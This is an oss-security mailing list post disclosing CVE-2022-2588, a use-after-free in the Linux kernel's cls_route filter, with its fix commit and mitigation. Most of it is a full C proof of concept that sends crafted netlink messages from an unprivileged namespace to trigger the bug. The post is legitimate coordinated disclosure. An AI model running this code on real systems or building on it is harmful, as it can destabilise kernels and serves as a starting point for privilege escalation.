[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: Re: [oss-security] CVE-2022-2588 - Linux kernel cls_route UAF
From: Thadeu Lima de Souza Cascardo <cascardo () canonical ! com>
Date: 2022-08-17 20:27:57
Message-ID: Yv1PTZIJ4qtA2ndU () quatroqueijos
[Download RAW message or body]
On Tue, Aug 09, 2022 at 02:11:54PM -0300, Thadeu Lima de Souza Cascardo wrote:
> CVE-2022-2588 - Linux kernel cls_route UAF
>
> It was discovered that the cls_route filter implementation in the Linux kernel
> would not remove an old filter from the hashtable before freeing it if its
> handle had the value 0.
>
> Zhenpeng Lin working with Trend Micro's Zero Day Initiative discovered that
> this vulnerability could be exploited for Local Privilege Escalation. This has
> been reported as ZDI-CAN-17440, and assigned CVE-2022-2588.
>
> This bug has been present since the first Linux commit git, v2.6.12-rc2.
>
> Exploiting it requires CAP_NET_ADMIN in any user or network namespace.
>
> It can be mitigated by those users who do not rely on cls_route, by adding
> 'install cls_route /bin/true' to their modprobe.conf or modprobe.d configs,
> in case it's built as a module.
>
> A PoC that will trigger a WARNING is going to be posted in a week.
>
> Fixes have been sent to netdev@vger.kernel.org and are at
> https://lore.kernel.org/netdev/20220809170518.164662-1-cascardo@canonical.com/T/#u.
This has been merged as commit 9ad36309e2719a884f946678e0296be10f0bb4c1.
And here is the PoC.
#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
static char newlink[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWLINK */
16, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x30, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
/* nla_len, nla_type */
16, 0x00, 18, 0x00,
/* nested nla_len, nla_type */
10, 0x00, 0x01, 0x00,
'd', 'u', 'm', 'm',
'y', 0x00, 0x00, 0x00,
};
static char dellink[] = {
/* len */
40, 0x00, 0x00, 0x00,
/* type = DELLINK */
17, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x00, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
};
static char tfilter[] = {
/* len */
68, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* nla_len, nla_type */
0x0a, 0x00, 0x01, 0x00,
/* string */
'r', 'o', 'u', 't',
'e', 0, 0, 0,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static char ntfilter[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
/* 0x200 = NLM_F_EXCL */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static char linkcmd[] = {
/* len */
44, 0x00, 0x00, 0x00,
/* type = NEWQDISC */
36, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE */
0x01, 0x05,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x01, 0x00,
/* tcm_parent */
0xff, 0xff, 0xff, 0xff,
/* tcm_info = protocol/prio */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x04, 0x00, 0x01, 0x00,
/* string */
};
int build_qfq(char *buf)
{
char *qopt;
short *tlen;
char *qdisc = "qfq";
short *optlen;
short *opttype;
tlen = buf;
memset(buf, 0, sizeof(buf));
memcpy(buf, linkcmd, sizeof(linkcmd));
strcpy(buf+sizeof(linkcmd), qdisc);
*tlen = sizeof(linkcmd) + strlen(qdisc) + 1;
buf[36] = strlen(qdisc)+5;
qopt = buf + *tlen;
/* nla_len, nla_type */
/* 24, 0x00, 0x02, 0x00, */
optlen = qopt;
opttype = optlen + 1;
*opttype = 0x2;
*optlen = 4;
*tlen += *optlen;
return *tlen;
}
int main(int argc, char **argv)
{
int s;
pid_t p;
int *error;
char buf[4096];
int tlen;
error = (int *) (buf + 16);
unsigned long count = 1;
int i;
unshare(CLONE_NEWUSER|CLONE_NEWNET);
tlen = build_qfq(buf);
s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
write(s, newlink, sizeof(newlink));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, buf, tlen);
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, tfilter, sizeof(tfilter));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, ntfilter, sizeof(ntfilter));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, dellink, sizeof(dellink));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
return 0;
}
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic